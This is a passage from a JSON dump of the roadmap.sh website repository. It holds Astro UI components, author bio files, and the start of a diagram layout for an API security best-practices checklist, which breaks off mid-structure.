    "content": "<a\n    href=\"https://youtube.com/theroadmap?sub_confirmation=1\"\n    target=\"_blank\"\n    class=\"text-md hidden sm:flex items-center text-red-600 group hover:text-red-900\"\n>\n    <span\n        class=\"bg-red-600 group-hover:bg-red-800 group-hover: px-1.5 py-0.5 rounded-xs text-white text-xs uppercase font-medium mr-2\"\n        >New</span\n    >\n    <span class=\"underline mr-1\">We also have a YouTube channel with visual content</span>\n    <span>&raquo;</span>\n</a>\n"
  },
  {
    "path": "src/components/YouTubeBanner.astro",
    "content": "---\nimport Icon from './AstroIcon.astro';\n---\n\n<!-- sticky top-0 -->\n<div class='border-b border-b-yellow-300 z-20 flex h-[37px]' youtube-banner>\n  <a\n    href='https://youtube.com/theroadmap?sub_confirmation=1'\n    target='_blank'\n    class='flex bg-yellow-200 text-center flex-1 items-center justify-center text-sm hover:bg-yellow-300 outline-0'\n  >\n    <Icon icon='youtube' class='mr-2' /> We now have a YouTube Channel.&nbsp;<span class='hidden sm:inline'\n      >Subscribe for the video content.</span\n    >\n  </a>\n  <button\n    class='text-yellow-500 bg-yellow-200 hover:text-yellow-900 hover:bg-yellow-400 outline-0 px-2'\n    aria-label='Close'\n    close-youtube-banner\n  >\n    <Icon icon='close' />\n  </button>\n</div>\n\n<script>\n  document.querySelector('[close-youtube-banner]')?.addEventListener('click', () => {\n    document.querySelector('[youtube-banner]')?.remove();\n  });\n</script>\n"
  },
  {
    "path": "src/components/courses/CourseStep.astro",
    "content": "---\nimport { Swords } from 'lucide-react';\n---\n\n<div class='flex flex-col'>\n  <div\n    class='-ml-[27.6px] mb-3 flex items-center text-sm leading-none text-gray-400'\n  >\n    <span class='h-3 w-3 rounded-full bg-black'></span>\n    <span class='h-[1px] w-[15px] bg-black'></span>\n    <h2 class='rounded-md border border-black bg-black px-3 py-2 text-white'>\n      Step 1 — Learn the absolute basics i.e. HTML and CSS\n    </h2>\n  </div>\n\n  <p class='mb-2 text-sm text-gray-500'>\n    Purchase and watch one of the following <span class='font-medium text-black'\n      >premium courses</span\n    >\n  </p>\n\n  <div class='rounded-lg border p-3'>\n    <ul class='flex flex-col gap-1 text-sm'>\n      <li>\n        <a href='#' class='group font-medium text-gray-800 hover:text-black'>\n          <span\n            class='mr-1.5 inline-block rounded-sm bg-green-300 px-1.5 py-0.5 text-xs uppercase text-black no-underline'\n          >\n            Course\n          </span>\n\n          <span class='underline underline-offset-1'\n            >HTML and CSS with Mosh</span\n          >\n        </a>\n      </li>\n      <li>\n        <a href='#' class='group font-medium text-gray-800 hover:text-black'>\n          <span\n            class='mr-1.5 inline-block rounded-sm bg-green-300 px-1.5 py-0.5 text-xs uppercase text-black no-underline'\n          >\n            Course\n          </span>\n\n          <span class='underline underline-offset-1'\n            >Learn HTML with 50 Projects</span\n          >\n        </a>\n      </li>\n    </ul>\n  </div>\n\n  <p class='mt-3 text-sm text-gray-500'>\n    Once done, build the <span class='font-medium text-black'\n      >following projects</span\n    > to test and practice your skills\n  </p>\n\n  <div class='mt-3 flex flex-col gap-1'>\n    <a\n      href='/projects/task-tracker'\n      class='flex items-center gap-2 rounded-md bg-zinc-100 px-2 py-1.5 text-sm text-black transition-colors hover:bg-zinc-300'\n    >\n      <Swords size='1.25em' className='text-gray-400' />\n      Build a login page for a website.\n    </a>\n\n    <a\n      href='/projects/task-tracker'\n      class='flex items-center gap-2 rounded-md bg-zinc-100 px-2 py-1.5 text-sm text-black transition-colors hover:bg-zinc-300'\n    >\n      <Swords size='1.25em' className='text-gray-400' />\n      Create a landing page for an e-commerce website.\n    </a>\n\n    <a\n      href='/projects/task-tracker'\n      class='flex items-center gap-2 rounded-md bg-zinc-100 px-2 py-1.5 text-sm text-black transition-colors hover:bg-zinc-300'\n    >\n      <Swords size='1.25em' className='text-gray-400' />\n      Create a responsive website for a restaurant.\n    </a>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/courses/Milestone.astro",
    "content": "---\nimport { Flag } from 'lucide-react';\n---\n\n<div class='flex flex-col'>\n  <p\n    class='-ml-[37px] mb-3 flex items-center text-sm leading-none text-gray-400'\n  >\n    <span\n      class='relative flex h-8 w-8 items-center justify-center rounded-full bg-green-600 text-white'\n    >\n      <Flag size='1.2em' />\n    </span>\n    <span class='h-[2px] w-[4.5px] bg-green-600'></span>\n    <span\n      class='rounded-md border border-green-600 bg-green-600 px-3 py-2 text-white'\n    >\n      You are ready to apply for jobs\n    </span>\n  </p>\n\n  <p class='mb-2 text-sm text-gray-500'>\n    At this point, you should have a solid understanding of basic front-end development concepts and be able to build simple websites. Start applying for jobs, while continuing to learn and improve your skills.\n  </p>\n\n  <p class='mb-2 text-sm text-gray-500'>\n    You might have a difficult time finding a job at this stage, but don't get discouraged. Keep applying and improving your skills. You can also consider contributing to open-source projects to gain experience and build your portfolio.\n  </p>\n</div>\n"
  },
  {
    "path": "src/data/authors/ebrahim-bharmal.md",
    "content": "---\nname: 'Ebrahim Bharmal'\nimageUrl: '/authors/ebrahimbharmal007.png'\nsocial:\n  twitter: 'https://twitter.com/BharmalEbrahim'\n---\n\nFull-stack developer interested in all things web development."
  },
  {
    "path": "src/data/authors/ekene.md",
    "content": "---\nname: 'Ekene Eze'\nimageUrl: '/authors/ekene-eze.jpg'\nemployment:\n  title: 'Author'\n  company: 'roadmap.sh'\nsocial:\n  linkedin: 'https://www.linkedin.com/in/ekeneeze/'\n  twitter: 'https://x.com/kenny_io'\n  website: 'https://kenny.engineer/'\n---\n\nKenny is a Software Engineer and Developer Advocate with over 5 years experience working in DevRel across different functions. Recently as a Senior Developer Experience Engineer at Netlify and leading DevRel teams in others."
  },
  {
    "path": "src/data/authors/fernando.md",
    "content": "---\nname: 'Fernando Doglio'\nimageUrl: '/authors/fernando.jpeg'\nsocial:\n  twitter: 'https://twitter.com/deleteman123'\n  linkedin: 'https://www.linkedin.com/in/fernandodoglio'\n---\n\nWith two decades of experience in Software Development, Fernando Doglio excels in diverse languages like Ruby, Perl, PHP, Python, and JavaScript. He's led teams in crafting scalable architectures for both in-house and cloud infrastructures.\n\nAn author of 8 technical books and over 250 articles, Fernando's current role as a Dev Advocate allows him to blend his passion for coding with content creation, enhancing developer experiences with products through engaging outreach."
  },
  {
    "path": "src/data/authors/jesse-li.md",
    "content": "---\nname: 'Jesse Li'\nimageUrl: '/authors/jesse.png'\nsocial:\n  twitter: 'https://twitter.com/__jesse_li'\n  github: 'https://github.com/veggiedefender'\n---\n\nJesse has made several [interesting open-source projects](https://github.com/veggiedefender) and wrote some interesting [articles on his blog](https://blog.jse.li/) including the one he wrote on roadmap.sh."
  },
  {
    "path": "src/data/authors/kamran.md",
    "content": "---\nname: 'Kamran Ahmed'\nimageUrl: '/authors/kamran.jpeg'\nemployment:\n  title: 'Founder'\n  company: 'roadmap.sh'\nsocial:\n  linkedin: 'https://www.linkedin.com/in/kamrify'\n  twitter: 'https://twitter.com/kamrify'\n  github: 'https://github.com/kamranahmedse'\n  website: 'https://kamranahmed.info'\n---\n\nKamran is the founder of **roadmap.sh**. He has a decade long experience working mostly with startups and scale-ups. Over the years, he has worked with a variety of technologies in a variety of domains and have worn several different hats. He is working full time on roadmap.sh at the moment.\n\nHe is also a Google Developer Expert and a GitHub Star. He is a huge proponent of open-source, and has authored several popular open-source projects. He is [the second most starred developer](https://twitter.com/kamrify/status/1750345095587754382) on GitHub globally."
  },
  {
    "path": "src/data/authors/peter-thaleikis.md",
    "content": "---\nname: 'Peter Thaleikis'\nimageUrl: '/authors/peter-thaleikis.png'\nsocial:\n  twitter: 'https://twitter.com/spekulatius1984'\n  website: 'https://peterthaleikis.com/'\n---\n\nPeter Thaleikis a software engineer and business owner. He has been developing web applications since around 2000. Before he started his own software development company [Bring Your Own Ideas Ltd.](https://bringyourownideas.com/), he has been a Lead Developer for multiple organizations."
  },
  {
    "path": "src/data/authors/william.md",
    "content": "---\nname: 'William Imoh'\nimageUrl: '/authors/william-imoh.jpg'\nemployment:\n  title: 'Author'\n  company: 'roadmap.sh'\nsocial:\n  linkedin: 'https://www.linkedin.com/in/william-imoh/'\n  twitter: 'https://x.com/iChuloo'\n---\n\nWilliam is a Software Engineer, Developer Advocate and Product Manager turned Entrepreneur. He leads the team at **Hackmamba** and occasionally talks about building performant web experiences."
  },
  {
    "path": "src/data/best-practices/api-security/api-security.json",
    "content": "{\n    \"mockup\": {\n        \"controls\": {\n            \"control\": [\n                {\n                    \"ID\": \"0\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"0\",\n                    \"w\": \"1\",\n                    \"h\": \"81\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"814\",\n                    \"y\": \"2213\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"stroke\": \"dotted\",\n                        \"color\": \"10027263\",\n                        \"p0\": {\n                            \"x\": 0,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.49999999999999994,\n                            \"y\": 0\n                        },\n                        \"p2\": {\n                            \"x\": 0,\n                            \"y\": 81.09090909090901\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"1\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"1\",\n                    \"w\": \"1\",\n                    \"h\": \"90\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"1118\",\n                    \"y\": \"1856\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"stroke\": \"dotted\",\n                        \"p0\": {\n                            \"x\": 0,\n                            \"y\": -0.48484848484849863\n                        },\n                        \"p1\": {\n                            \"x\": 0.5,\n                            \"y\": 0\n                        },\n                        \"p2\": {\n                            \"x\": 0,\n                            \"y\": 89.20412121212144\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"2\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"2\",\n                    \"w\": \"606\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"816\",\n                    \"y\": \"1855\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"p0\": {\n                            \"x\": 0.4393939393939945,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.499957866859274,\n                            \"y\": 0.000355669369753909\n                        },\n                        \"p2\": {\n                            \"x\": 606.8787878787878,\n                            \"y\": 0\n                        },\n                        \"color\": \"4273622\"\n                    }\n                },\n                {\n                    \"ID\": \"3\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"3\",\n                    \"w\": \"726\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"816\",\n                    \"y\": \"708\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": -0.2686368305519409,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.5001077701859017,\n                            \"y\": 0.0003391382343339101\n                        },\n                        \"p2\": {\n                            \"x\": 725.5310311167375,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"4\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"4\",\n                    \"w\": \"588\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"225\",\n                    \"y\": \"413\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.4999449522687746,\n                            \"y\": 0.0003335799224988863\n                        },\n                        \"p2\": {\n                            \"x\": 588,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"5\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"5\",\n                    \"w\": \"189\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"394\",\n                    \"y\": \"389\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"6\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"6\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"214\",\n                    \"y\": \"471\",\n                    \"properties\": {\n                        \"controlName\": \"check:use-standard-authentication\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"7\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"7\",\n                    \"measuredW\": \"472\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"472\",\n                    \"h\": \"28\",\n                    \"x\": \"260\",\n                    \"y\": \"472\",\n                    \"properties\": {\n                        \"controlName\": \"use-standard-authentication\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"472\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Avoid ‘Basic Authentication’, use standard (e.g. JWT)\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"8\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"8\",\n                    \"measuredW\": \"175\",\n                    \"measuredH\": \"40\",\n                    \"x\": \"726\",\n                    \"y\": \"226\",\n                    \"properties\": {\n                        \"size\": \"32\",\n                        \"text\": \"API Security\"\n                    }\n                },\n                {\n                    \"ID\": \"9\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"9\",\n                    \"w\": \"361\",\n                    \"h\": \"150\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"1099\",\n                    \"y\": \"158\"\n                },\n                {\n                    \"ID\": \"10\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"10\",\n                    \"measuredW\": \"332\",\n                    \"measuredH\": \"26\",\n                    \"x\": \"1115\",\n                    \"y\": \"176\",\n                    \"properties\": {\n                        \"text\": \"Find the detailed version of this checklist\",\n                        \"size\": \"18\"\n                    }\n                },\n                {\n                    \"ID\": \"11\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"11\",\n                    \"measuredW\": \"318\",\n                    \"measuredH\": \"26\",\n                    \"x\": \"1115\",\n                    \"y\": \"204\",\n                    \"properties\": {\n                        \"size\": \"18\",\n                        \"text\": \"With details on how to implement these\"\n                    }\n                },\n                {\n                    \"ID\": \"12\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"12\",\n                    \"measuredW\": \"329\",\n                    \"measuredH\": \"51\",\n                    \"w\": \"329\",\n                    \"h\": \"51\",\n                    \"x\": \"1115\",\n                    \"y\": \"240\",\n                    \"properties\": {\n                        \"controlName\": \"ext_link:roadmap.sh\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Canvas\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"329\",\n                                    \"h\": \"51\",\n                                    \"measuredW\": \"100\",\n                                    \"measuredH\": \"70\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"color\": \"4273622\",\n                                        \"borderColor\": \"4273622\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"172\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"79\",\n                                    \"y\": \"12\",\n                                    \"properties\": {\n                                        \"color\": \"16777215\",\n                                        \"size\": \"20\",\n                                        \"text\": \"https://roadmap.sh\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"13\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"13\",\n                    \"w\": \"373\",\n                    \"h\": \"169\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"216\",\n                    \"y\": \"148\"\n                },\n                {\n                    \"ID\": \"14\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"14\",\n                    \"measuredW\": \"189\",\n                    \"measuredH\": \"27\",\n                    \"w\": \"189\",\n                    \"h\": \"27\",\n                    \"x\": \"246\",\n                    \"y\": \"222\",\n                    \"properties\": {\n                        \"controlName\": \"ext_link:roadmap.sh/backend\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"156\",\n                                    \"measuredH\": \"26\",\n                                    \"x\": \"33\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"18\",\n                                        \"text\": \"Backend Roadmap\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"__group__\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"24\",\n                                    \"measuredH\": \"24\",\n                                    \"w\": \"24\",\n                                    \"h\": \"24\",\n                                    \"x\": \"0\",\n                                    \"y\": \"3\",\n                                    \"children\": {\n                                        \"controls\": {\n                                            \"control\": [\n                                                {\n                                                    \"ID\": \"0\",\n                                                    \"typeID\": \"Icon\",\n                                                    \"zOrder\": \"0\",\n                                                    \"measuredW\": \"24\",\n                                                    \"measuredH\": \"24\",\n                                                    \"x\": \"0\",\n                                                    \"y\": \"0\",\n                                                    \"properties\": {\n                                                        \"color\": \"16777215\",\n                                                        \"icon\": {\n                                                            \"ID\": \"circle\",\n                                                            \"size\": \"small\"\n                                                        }\n                                                    }\n                                                },\n                                                {\n                                                    \"ID\": \"1\",\n                                                    \"typeID\": \"Icon\",\n                                                    \"zOrder\": \"1\",\n                                                    \"measuredW\": \"24\",\n                                                    \"measuredH\": \"24\",\n                                                    \"x\": \"0\",\n                                                    \"y\": \"0\",\n                                                    \"properties\": {\n                                                        \"color\": \"10066329\",\n                                                        \"icon\": {\n                                                            \"ID\": \"check-circle\",\n                                                            \"size\": \"small\"\n                                                        }\n                                                    }\n                                                }\n                                            ]\n                                        }\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"15\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"15\",\n                    \"measuredW\": \"183\",\n                    \"measuredH\": \"27\",\n                    \"w\": \"183\",\n                    \"h\": \"27\",\n                    \"x\": \"246\",\n                    \"y\": \"258\",\n                    \"properties\": {\n                        \"controlName\": \"ext_link:roadmap.sh/devops\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"150\",\n                                    \"measuredH\": \"26\",\n                                    \"x\": \"33\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"18\",\n                                        \"text\": \"DevOps Roadmap\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"__group__\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"24\",\n                                    \"measuredH\": \"24\",\n                                    \"w\": \"24\",\n                                    \"h\": \"24\",\n                                    \"x\": \"0\",\n                                    \"y\": \"3\",\n                                    \"children\": {\n                                        \"controls\": {\n                                            \"control\": [\n                                                {\n                                                    \"ID\": \"0\",\n                                                    \"typeID\": \"Icon\",\n                                                    \"zOrder\": \"0\",\n                                                    \"measuredW\": \"24\",\n                                                    \"measuredH\": \"24\",\n                                                    \"x\": \"0\",\n                                                    \"y\": \"0\",\n                                                    \"properties\": {\n                                                        \"color\": \"16777215\",\n                                                        \"icon\": {\n                                                            \"ID\": \"circle\",\n                                                            \"size\": \"small\"\n                                                        }\n                                                    }\n                                                },\n                                                {\n                                                    \"ID\": \"1\",\n                                                    \"typeID\": \"Icon\",\n                                                    \"zOrder\": \"1\",\n                                                    \"measuredW\": \"24\",\n                                                    \"measuredH\": \"24\",\n                                                    \"x\": \"0\",\n                                                    \"y\": \"0\",\n                                                    \"properties\": {\n                                                        \"color\": \"10066329\",\n                                                        \"icon\": {\n                                                            \"ID\": \"check-circle\",\n                                                            \"size\": \"small\"\n                                                        }\n                                                    }\n                                                }\n                                            ]\n                                        }\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"16\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"16\",\n                    \"measuredW\": \"209\",\n                    \"measuredH\": \"32\",\n                    \"x\": \"246\",\n                    \"y\": \"172\",\n                    \"properties\": {\n                        \"size\": \"24\",\n                        \"text\": \"Related Roadmaps\"\n                    }\n                },\n                {\n                    \"ID\": \"17\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"17\",\n                    \"w\": \"1\",\n                    \"h\": \"76\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"812\",\n                    \"y\": \"134\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"p0\": {\n                            \"x\": 0,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.49999999999999994,\n                            \"y\": 0\n                        },\n                        \"p2\": {\n                            \"x\": 0,\n                            \"y\": 76.17275043077757\n                        },\n                        \"stroke\": \"dotted\",\n                        \"color\": \"10027263\"\n                    }\n                },\n                {\n                    \"ID\": \"18\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"18\",\n                    \"measuredW\": \"130\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"424\",\n                    \"y\": \"400\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"Authentication\"\n                    }\n                },\n                {\n                    \"ID\": \"19\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"19\",\n                    \"w\": \"1\",\n                    \"h\": \"1929\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"814\",\n                    \"y\": \"287\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0,\n                            \"y\": -0.48484848484849863\n                        },\n                        \"p1\": {\n                            \"x\": 0.4999999999999999,\n                            \"y\": 0\n                        },\n                        \"p2\": {\n                            \"x\": 0,\n                            \"y\": 1928.151515151515\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"20\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"20\",\n                    \"w\": \"252\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"1015\",\n                    \"y\": \"683\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"21\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"21\",\n                    \"measuredW\": \"55\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"1113\",\n                    \"y\": \"694\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"OAuth\"\n                    }\n                },\n                {\n                    \"ID\": \"22\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"22\",\n                    \"w\": \"272\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"995\",\n                    \"y\": \"1830\",\n                    \"properties\": {\n                        \"color\": \"4273622\",\n                        \"borderColor\": \"4273622\"\n                    }\n                },\n                {\n                    \"ID\": \"23\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"23\",\n                    \"measuredW\": \"151\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"1055\",\n                    \"y\": \"1841\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"More Resources\",\n                        \"color\": \"16777215\"\n                    }\n                },\n                {\n                    \"ID\": \"24\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"24\",\n                    \"measuredW\": \"272\",\n                    \"measuredH\": \"44\",\n                    \"w\": \"272\",\n                    \"h\": \"44\",\n                    \"x\": \"995\",\n                    \"y\": \"1934\",\n                    \"properties\": {\n                        \"controlName\": \"recommended-resources\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"272\",\n                                    \"h\": \"44\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"color\": \"16770457\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"206\",\n                                    \"measuredH\": \"25\",\n                                    \"x\": \"33\",\n                                    \"y\": \"9\",\n                                    \"properties\": {\n                                        \"size\": \"17\",\n                                        \"text\": \"Recommended Resources\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"25\",\n                    \"typeID\": \"TextArea\",\n                    \"zOrder\": \"25\",\n                    \"w\": \"438\",\n                    \"h\": \"118\",\n                    \"measuredW\": \"200\",\n                    \"measuredH\": \"140\",\n                    \"x\": \"595\",\n                    \"y\": \"2127\"\n                },\n                {\n                    \"ID\": \"26\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"26\",\n                    \"measuredW\": \"366\",\n                    \"measuredH\": \"25\",\n                    \"x\": \"631\",\n                    \"y\": \"2146\",\n                    \"properties\": {\n                        \"size\": \"17\",\n                        \"text\": \"Continue Learning with following relevant tracks\"\n                    }\n                },\n                {\n                    \"ID\": \"27\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"27\",\n                    \"measuredW\": \"198\",\n                    \"measuredH\": \"44\",\n                    \"w\": \"198\",\n                    \"h\": \"44\",\n                    \"x\": \"818\",\n                    \"y\": \"2183\",\n                    \"properties\": {\n                        \"controlName\": \"ext_link:roadmap.sh/devops\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"198\",\n                                    \"h\": \"44\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"color\": \"16770457\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"141\",\n                                    \"measuredH\": \"25\",\n                                    \"x\": \"28\",\n                                    \"y\": \"10\",\n                                    \"properties\": {\n                                        \"size\": \"17\",\n                                        \"text\": \"DevOps Roadmap\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"28\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"28\",\n                    \"measuredW\": \"198\",\n                    \"measuredH\": \"44\",\n                    \"w\": \"198\",\n                    \"h\": \"44\",\n                    \"x\": \"610\",\n                    \"y\": \"2183\",\n                    \"properties\": {\n                        \"controlName\": \"ext_link:roadmap.sh/backend\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"198\",\n                                    \"h\": \"44\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"color\": \"16770457\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"147\",\n                                    \"measuredH\": \"25\",\n                                    \"x\": \"24\",\n                                    \"y\": \"10\",\n                                    \"properties\": {\n                                        \"size\": \"17\",\n                                        \"text\": \"Backend Roadmap\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"29\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"29\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"214\",\n                    \"y\": \"513\",\n                    \"properties\": {\n                        \"controlName\": \"check:authentication-mechanisms\"\n                    },\n                    \"children\": {\n                        \"controls\": 